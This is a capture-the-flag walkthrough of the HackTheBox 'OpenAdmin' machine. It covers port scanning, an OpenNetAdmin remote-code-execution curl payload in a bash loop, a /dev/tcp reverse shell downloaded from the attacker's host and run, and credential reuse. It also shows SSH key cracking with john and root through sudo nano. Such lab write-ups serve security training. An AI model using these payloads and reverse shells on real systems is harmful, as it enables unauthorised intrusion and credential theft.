HackTheBox - OpenAdmin | Walkthrough
Recon
As always, let's start with a nmap scan.
export ipaddress=10.10.10.171
ports=$(nmap -p- --min-rate=1000 -T4 $ipaddress | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); nmap -A -p$ports $ipaddress -o nmap
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-01 11:40 +0545
Nmap scan report for 10.10.10.171
Host is up (0.35s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
12567/tcp closed unknown
62072/tcp closed unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=5/1%OT=22%CT=12567%CU=44635%PV=Y%DS=2%DC=T%G=Y%TM=5EAB
OS:BA16%P=x86_64-unknown-linux-gnu)SEQ(SP=104%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%
OS:TS=A)SEQ(SP=104%GCD=1%ISR=10C%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DS
OS:T11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=
OS:7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=
OS:M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)
OS:T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S
OS:+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G
OS:%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 12567/tcp)
HOP RTT ADDRESS
1 307.39 ms 10.10.14.1
2 307.68 ms 10.10.10.171
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.46 seconds
Pretty simple, we see port 22 and 80 open. Fairly standard.
Now, let's see what its hosting on the webserver.
We see the default apache page. Let's try some content discovery in this.
dirsearch -u http://10.10.10.171/ -e /
Using dirsearch, we see quite a few paths but, this /ona/ seems different and interesting. Let's check it out.
Looking at the page, we see that it is OpenNetAdmin.
Let's see if it has any readily available exploit.
searchsploit opennetadmin
The version that the site is using is 18.1.1 we see an RCE script for it.
Let's copy it over.
cp /usr/share/exploitdb/exploits/php/webapps/47691.sh exploit.sh
For some reason, I was having issues with this script, I don't really know why so I just copied the curl command and ran it on the shell, and it worked.
Then, I wrote a different script for it, which pretty much is the same thing.
#!/bin/bash
URL=$1
while true; do
read -p "$ " cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
Running the script:
bash exploit.sh http://10.10.10.171/ona/
Now, we do get what seems like a shell, but everytime we run a command, it uses the curl command to send the payload. I'd rather have a netcat reverse shell.
However, when you try a normal netcat reverse shell with nc 10.10.14.39 4444 -e /bin/bash it doesn't work. I looked at it for a while and then figured that the payload didn't like the hyphen.
So, what I did is, in my attacker machine, wrote a bash reverse script:
cat shell.sh
/bin/bash -i >& /dev/tcp/10.10.14.39/4444 0>&1
Simple bash reverse shell.
Then, I startred a python3 based simple web server.
python -m http.server 80
Now, in the victim machine, downloaded the file and ran it:
wget http://10.10.14.39/shell.sh
bash shell.sh
And finally, a reverse shell.
Nice.
Now, let's imporve this shell.
python -c 'import pty; pty.spawn("/bin/bash")''
Ctrl-Z
Now, in your attacker machine,
stty raw -echo
fg
You might not be able to see what you are typing but still go ahead and run the command.
Now, in the reverse shell:
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <num>
Please note that this trick of improving the shell has been taken from: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
User 1
Looking around in the webserver, in /var/www/html/ona we see a local directory.
ls -al local
Here, we see another directory, config interesting.
ls -al local/config
Hmm, we see database_settings.inc.php. Let's check it out and see what it has to say.
cat database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
Nice, we have a password.
Let's check the users in the system and let's try this password.
cat /etc/passwd
Apart for the normal stuff there, we see 2 users, jimmy and joanna.
Let's try to login as jimmy with this and if it doesn't work, we will try as joanna.
su - jimmy
And, nice, we are jimmy now.
User 2
cd /var/www/
ls -al
We see that the directory internal is owned by jimmy. Hmm, let's see what it holds.
ls -al
We see a few files, index.php, logout.php and main.php.
Let's check the index.php file:
cat index.php
Hmm, we find a hashed password for jimmy, hashed using SHA512.00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1
Let's take note of this, and see what else we can get before committing to something.
cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
Wait, what? For real? Seems like its serving the contents of the id_rsa file.
Yikes.
So, if we can curl this page, we can get the contents of the id_rsa file.
Interesting.
Let's see if this internal site is listening from within this own machine.
jimmy@openadmin:/var/www/internal$ netstat -tupan | grep -i listen
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:52846 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
Hmm, maybe its the port 52846. Its only listening on localhost.
jimmy@openadmin:/var/www/internal$ curl http://127.0.0.1:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
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ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
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K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
Nice, now let's take this over to our attacker machine and crack it as it seems to be encrypted.
vi id_rsa
Paste the password in.
Now, change the permissions, to try to use it to verify that it is encrypted:
chmod 600 id_rsa
ssh joanna@10.10.10.171 -i id_rsa
It asks for a password, like we expected.
Now to crack this, first we need to convert it to john readable format:
ssh2john id_rsa > id_rsa.hash
cat id_rsa.hash
id_rsa:$sshng$1$16$2AF25344B8391A25A9B318F3FD767D6D$1200$906d14608706c9ac6ea6342a692d9ed47a9b87044b94d72d5b61df25e68a5235991f8bac883f40b539c829550ea5937c69dfd2b4c589f8c910e4c9c030982541e51b4717013fafbe1e1db9d6331c83cca061cc7550c0f4dd98da46ec1c7f460e4a135b6f1f04bafaf66a08db17ecad8a60f25a1a095d4f94a530f9f0bf9222c6736a5f54f1ff93c6182af4ad8a407044eb16ae6cd2a10c92acffa6095441ed63215b6126ed62de25b2803233cc3ea533d56b72d15a71b291547983bf5bee5b0966710f2b4edf264f0909d6f4c0f9cb372f4bb323715d17d5ded5f83117233976199c6d86bfc28421e217ccd883e7f0eecbc6f227fdc8dff12ca87a61207803dd47ef1f2f6769773f9cb52ea7bb34f96019e00531fcc267255da737ca3af49c88f73ed5f44e2afda28287fc6926660b8fb0267557780e53b407255dcb44899115c568089254d40963c8511f3492efe938a620bde879c953e67cfb55dbbf347ddd677792544c3bb11eb0843928a34d53c3e94fed25bff744544a69bc80c4ffc87ffd4d5c3ef5fd01c8b4114cacde7681ea9556f22fc863d07a0f1e96e099e749416cca147add636eb24f5082f9224e2907e3464d71ae711cf8a3f21bd4476bf98c633ff1bbebffb42d24544298c918a7b14c501d2c43534b8428d34d500537f0197e75a4279bbe4e8d2acee3c1586a59b28671e406c0e178b4d29aaa7a478b0258bde6628a3de723520a66fb0b31f1ea5bf45b693f868d47c2d89692920e2898ccd89710c42227d31293d9dad740791453ec8ebfb26047ccca53e0a200e9112f345f5559f8ded2f193feedd8c1db6bd0fbfa5441aa773dd5c4a60defe92e1b7d79182af16472872ab3c222bdd2b5f941604b7de582b08ce3f6635d83f66e9b84e6fe9d3eafa166f9e62a4cdc993d42ed8c0ad5713205a9fc7e5bc87b2feeaffe05167a27b04975e9366fa254adf511ffd7d07bc1f5075d70b2a7db06f2224692566fb5e8890c6e39038787873f21c52ce14e1e70e60b8fca716feb5d0727ac1c355cf633226c993ca2f16b95c59b3cc31ac7f641335d80ff1ad3e672f88609ec5a4532986e0567e169094189dcc82d11d46bf73bc6c48a05f84982aa222b4c0e78b18cceb15345116e74f5fbc55d407ed9ba12559f57f37512998565a54fe77ea2a2224abbddea75a1b6da09ae3ac043b6161809b630174603f33195827d14d0ebd64c6e48e0d0346b469d664f89e2ef0e4c28b6a64acdd3a0edf8a61915a246feb25e8e69b3710916e494d5f482bf6ab65c675f73c39b2c2eecdca6709188c6f36b6331953e3f93e27c987a3743eaa71502c43a807d8f91cdc4dc33f48b852efdc8fcc2647f2e588ae368d69998348f0bfcfe6d65892aebb86351825c2aa45afc2e6869987849d70cec46ba951c864accfb8476d5643e7926942ddd8f0f32c296662ba659e999b0fb0bbfde7ba2834e5ec931d576e4333d6b5e8960e9de46d32daa5360ce3d0d6b864d3324401c4975485f1aef6ba618edb12d679b0e861fe5549249962d08d25dc2dde517b23cf9a76dcf482530c9a34762f97361dd95352de4c82263cfaa90796c2fa33dd5ce1d889a045d587ef18a5b940a2880e1c706541e2b523572a8836d513f6e688444af86e2ba9ad2ded540deadd9559eb56ac66fe021c3f88c2a1a484d62d602903793d10d
Now, to proceed with cracking it:
Note: I have a different blog post for cracking ssh with john if this doesn't work for you. https://abhizer.com/crack-ssh-with-john/
john id_rsa.hash --wordlist=rockyou.txt
Nice, the password has been cracked and we see that it is: bloodninjas
Now, let's login.
ssh joanna@10.10.10.171 -i id_rsa
Now, enter the password and you should get in as joanna.
You can get the user.txt file from here.
Root
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
Nice, we see that our user can run nano on /opt/priv with sudo.
Now, looking at GTFOBins, we see a method for privsec.
sudo /bin/nano /opt/priv
^R ^X (CTRL+R and then CTRL+X)
reset; sh 1>&0 2>&0
Now, you have a mini shell there.
bash
Nice, now you should have a nice shell.
root@openadmin:~# whoami
root
root@openadmin:~# hostname
openadmin
root@openadmin:~#